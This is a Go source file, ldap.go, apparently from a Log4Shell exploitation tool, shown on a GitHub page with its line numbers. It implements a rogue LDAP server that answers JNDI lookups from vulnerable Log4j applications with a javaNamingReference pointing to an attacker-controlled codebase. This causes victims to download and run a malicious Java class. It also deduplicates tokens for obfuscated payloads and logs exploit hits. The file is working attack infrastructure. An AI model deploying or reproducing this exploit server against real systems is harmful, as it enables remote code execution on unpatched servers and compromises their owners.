-
Notifications
You must be signed in to change notification settings - Fork 19
/
Copy pathldap.go
114 lines (99 loc) · 2.84 KB
/
ldap.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
package log4shell
import (
"log"
"os"
"path/filepath"
"strings"
"sync"
"time"
"github.com/For-ACGN/ldapserver"
"github.com/lor00x/goldap/message"
)
// TokenExpireTime is used to prevent repeat execute payload.
const TokenExpireTime = 20 // second
type ldapHandler struct {
logger *log.Logger
payloadDir string
codeBase string
// tokens set is used to prevent repeat
// execute payload when use obfuscate.
// key is token, value is timestamp
tokens map[string]int64
tokensMu sync.Mutex
}
func (h *ldapHandler) handleBind(w ldapserver.ResponseWriter, _ *ldapserver.Message) {
res := ldapserver.NewBindResponse(ldapserver.LDAPResultSuccess)
w.Write(res)
}
func (h *ldapHandler) handleSearch(w ldapserver.ResponseWriter, m *ldapserver.Message) {
addr := m.Client.Addr()
req := m.GetSearchRequest()
dn := string(req.BaseObject())
// check class name has token
if strings.Contains(dn, "$") {
// parse token
sections := strings.SplitN(dn, "$", 2)
class := sections[0]
if class == "" {
h.logger.Printf("[warning] %s search invalid java class \"%s\"", addr, dn)
h.sendErrorResult(w)
return
}
// check token is already exists
token := sections[1]
if token == "" {
h.logger.Printf("[warning] %s search java class with invalid token \"%s\"", addr, dn)
h.sendErrorResult(w)
return
}
if !h.checkToken(token) {
h.sendErrorResult(w)
return
}
dn = class
}
h.logger.Printf("[exploit] %s search java class \"%s\"", addr, dn)
// check class file is exists
fi, err := os.Stat(filepath.Join(h.payloadDir, dn+".class"))
if err != nil {
h.logger.Printf("[error] %s failed to search java class \"%s\": %s", addr, dn, err)
h.sendErrorResult(w)
return
}
if fi.IsDir() {
h.logger.Printf("[error] %s searched java class \"%s\" is a directory", addr, dn)
h.sendErrorResult(w)
return
}
// send search result
res := ldapserver.NewSearchResultEntry(dn)
res.AddAttribute("objectClass", "javaNamingReference")
res.AddAttribute("javaClassName", message.AttributeValue(dn))
res.AddAttribute("javaFactory", message.AttributeValue(dn))
res.AddAttribute("javaCodebase", message.AttributeValue(h.codeBase))
w.Write(res)
done := ldapserver.NewSearchResultDoneResponse(ldapserver.LDAPResultSuccess)
w.Write(done)
}
func (h *ldapHandler) checkToken(token string) bool {
h.tokensMu.Lock()
defer h.tokensMu.Unlock()
// clean token first
now := time.Now().Unix()
for key, timestamp := range h.tokens {
delta := now - timestamp
if delta > TokenExpireTime || delta < -TokenExpireTime {
delete(h.tokens, key)
}
}
// check token is already exists
if _, ok := h.tokens[token]; ok {
return false
}
h.tokens[token] = time.Now().Unix()
return true
}
func (h *ldapHandler) sendErrorResult(w ldapserver.ResponseWriter) {
done := ldapserver.NewSearchResultDoneResponse(ldapserver.LDAPResultNoSuchObject)
w.Write(done)
}